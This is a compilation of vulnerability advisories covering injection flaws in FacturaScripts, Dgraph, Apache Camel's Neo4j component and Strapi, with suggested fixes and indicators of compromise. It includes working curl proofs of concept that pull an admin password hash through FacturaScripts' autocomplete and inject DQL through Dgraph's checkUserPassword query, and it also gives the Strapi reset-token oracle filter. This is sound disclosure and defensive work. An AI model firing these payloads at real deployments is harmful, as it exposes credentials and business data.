Summary
FacturaScripts has SQL Injection in Autocomplete Actions
Details

Summary

FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.

Details

Multiple controllers in FacturaScripts, including CopyModel, ListController, and PanelController, implement an autocomplete action that processes user input through the CodeModel::search() or CodeModel::all() methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.

Vulnerable Code Location

File: /Core/Model/CodeModel.php Method: all() Lines: 108-109

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Vulnerable Parameters

The following parameters are vulnerable to SQL Injection:

  1. source → Maps to $tableName - Table name injection
  2. fieldcode → Maps to $fieldCode - Column name injection
  3. fieldtitle → Maps to $fieldDescription - Column name injection (Primary attack vector)

Attack Flow

  1. Attacker authenticates with valid credentials (any user role)
  2. Attacker sends POST request to /CopyModel with action=autocomplete
  3. Malicious SQL functions/queries are injected via the fieldtitle parameter
  4. Application executes the injected SQL and returns results in JSON format
  5. Attacker extracts sensitive data from the database

Proof of Concept (PoC)

Prerequisites

  • Valid authentication credentials (admin/admin in test instance)
  • Access to FacturaScripts web interface

Step-by-Step Manual Exploitation (CLI)

Since FacturaScripts uses MultiRequestProtection, a valid multireqtoken is required for every POST request.

1. Obtain initial token and session cookie: FacturaScripts redirects / to /login, so we use -L to follow redirects and -c to save the session cookie.

TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Authenticate (Login): Use the saved cookie and the token to log in.

curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Extract Database Version: Obtain a fresh token for the next request and execute the injection.

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Extract Database User and Name:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Extract Admin Password Hash:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Impact

This SQL injection vulnerability has CRITICAL impact:

Data Confidentiality

  • Complete database disclosure - Attacker can extract all data including:
  • User credentials (password hashes)
  • Customer information (names, addresses, tax IDs, etc.)
  • Financial records (invoices, payments, bank details)
  • Business logic and configuration data
  • Plugin and system settings

Who is Impacted?

  • All FacturaScripts installations running vulnerable versions
  • All authenticated users can exploit (not just admins)
  • Businesses using FacturaScripts for accounting/invoicing
  • Customers whose data is stored in the system

Recommended Fix

Immediate Remediation

Option 1: Use Prepared Statements

// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Summary
Dgraph Vulnerable to DQL Injection via checkUserPassword GraphQL Query
Details

Summary

The checkUserPassword GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL checkpwd() query via fmt.Sprintf without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks.

Details

Vulnerable Code Path

The vulnerability exists in the GraphQL-to-DQL query rewriting layer:

  1. query_rewriter.go (~line 364) — The checkpwd() DQL function is constructed using fmt.Sprintf:

go fmt.Sprintf(`checkpwd(User.password, "%s")`, password)

The raw password string from the GraphQL query input is embedded directly into the DQL query without escaping double quotes or other special characters.

  1. graphquery.go — The constructed query attribute is serialized into the final DQL string via b.WriteString(query.Attr), passing the unsanitized content directly to the Dgraph query engine.

Attack Mechanism

A password value containing a double-quote (") terminates the string literal in the checkpwd() function. Any content after the escaped quote is parsed as additional DQL, allowing the attacker to inject arbitrary query blocks.

Distinction from CVE-2026-41328 and CVE-2026-41327

CVE-2026-41328 and CVE-2026-41327 address DQL injection in edgraph/server.go, where GraphQL mutation inputs (upsert/delete) are embedded unsafely into DQL mutations. Those fixes sanitize the mutation path.

This vulnerability is in a completely different code path — the GraphQL query rewriter (query_rewriter.go → graphquery.go). The checkUserPassword GraphQL query triggers a DQL query via checkpwd(), and this query construction was not covered by the patches for CVE-2026-41328/CVE-2026-41327.

PoC

curl -s -X POST http://TARGET:8080/graphql \
  -H "Content-Type: application/json" \
  -d '{ "query": "query { checkUserPassword(name: \"admin\", password: \"x\\\") { uid } injected(func: has(User.name)) { User.name User.email } dummy(func: eq(x, \\\"x\") { msg } }") { msg } }" }'

What to observe:

  • The touched_uids field in the extensions section of the response will be elevated (indicating the injected blocks executed)
  • Dgraph server logs (dgraph alpha output) will show the injected query blocks being parsed and executed
  • The response itself may be filtered by the GraphQL layer, but server-side execution is confirmed

Impact

  • Data enumeration: Injected query blocks execute server-side and can probe for the existence of predicates, types, and nodes via touched_uids metrics and server logs.
  • Schema discovery: An attacker can enumerate all predicates and types in the database by injecting schema {} blocks or has() queries.
  • Resource exhaustion: Expensive injected queries (recursive traversals, large aggregations) execute at the DQL layer, consuming server resources regardless of whether results are returned to the attacker.
  • Potential data disclosure: Depending on Dgraph configuration (e.g., debug mode, custom extensions), injected query results may leak into the response.

CVSS 3.1: 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Network-accessible via any GraphQL endpoint
  • No authentication required (checkUserPassword is an unauthenticated query)
  • Low attack complexity (single crafted HTTP request)
  • High confidentiality impact (server-side query execution confirmed, data enumeration possible)

Affected Versions

All versions of Dgraph that include GraphQL support with the @secret directive are affected:

  • <= v25.3.3
  • Any version where query_rewriter.go constructs checkpwd() via string interpolation

Suggested Fix

Escape or parameterize the password value before embedding it in the DQL query. At minimum, double-quote characters in the password must be escaped:

// Before (vulnerable):
fmt.Sprintf(`checkpwd(User.password, "%s")`, password)

// After (escaped):
escaped := strings.ReplaceAll(password, `\`, `\\`)
escaped = strings.ReplaceAll(escaped, `"`, `\"`)
fmt.Sprintf(`checkpwd(User.password, "%s")`, escaped)

Ideally, Dgraph should implement parameterized query support for the checkpwd() function to avoid string interpolation entirely, consistent with best practices for injection prevention.

Vulnerability from github – Published: 2026-07-06 09:30 – Updated: 2026-07-06 21:30
VLAI
Details

Improper Neutralization of Special Elements in Data Query Logic vulnerability in Apache Camel Neo4J component.

The camel-neo4j producer builds the Cypher WHERE clause for its match/retrieve and delete operations from the CamelNeo4jMatchProperties map. CVE-2025-66169 addressed Cypher injection through the property values by binding them as query parameters ($paramN), but the property names (the JSON keys of that map) were still concatenated into the query string verbatim in Neo4jProducer.retrieveNodes() and deleteNode(). A property name containing Cypher syntax therefore alters the structure of the executed query. Where a route maps untrusted input into the CamelNeo4jMatchProperties map - for example by passing a request body as the match map, or from a consumer that does not filter inbound Camel* headers - an attacker who controls the JSON key names can inject arbitrary Cypher and read, modify or delete any node or relationship in the Neo4j database. The CamelNeo4jMatchProperties header is itself Camel-prefixed and is filtered by the HTTP header-filter strategy, so a plain HTTP client cannot set it directly; the issue is reachable through routes that deliberately or inadvertently carry untrusted data into that header. This issue affects Apache Camel: from 4.10.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.

Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, do not populate the CamelNeo4jMatchProperties map from untrusted input: validate or allow-list the property names (for example against ^[A-Za-z_][A-Za-z0-9_]$) before the Neo4j producer, and ensure that any consumer feeding such a route filters inbound Camel / camel* headers so the match header cannot be supplied by an external sender.

  • CVSS v3.1 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N (9.3 — Critical)
  • Affected Versions: @strapi/strapi <=5.36.1
  • How to Patch: Immediately update your Strapi to >=5.37.0

Description of CVE-2026-27886

Strapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the where query parameter on any publicly-accessible content-type with an updatedBy (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.

When a filter such as where[updatedBy][resetPasswordToken][$startsWith]=a was applied to a public Content API endpoint, the underlying query generation performed a LEFT JOIN against the admin_users table and emitted a WHERE clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.

The patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: strictParam, addQueryParams, and addBodyParams. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.

IoC's for CVE-2026-27886

Indicators that an instance running an unpatched version may have been exploited:

  • Server access logs containing query strings traversing into admin-relation private fields. Regex: \?(.*&)?where\[(updatedBy|createdBy|publishedBy)\]\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\]\[\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\]=
  • High volume of public Content API requests from a single IP iterating through a hex alphabet (0-9, a-f) on the same content-type endpoint with progressively-longer filter values
  • Subsequent POST /admin/reset-password calls using a reset token that the legitimate admin did not request
  • Successful admin password change immediately following a burst of public Content API requests with where[updatedBy] query parameters
  • Sustained burst of identical-shape requests with only the trailing character of the filter value varying
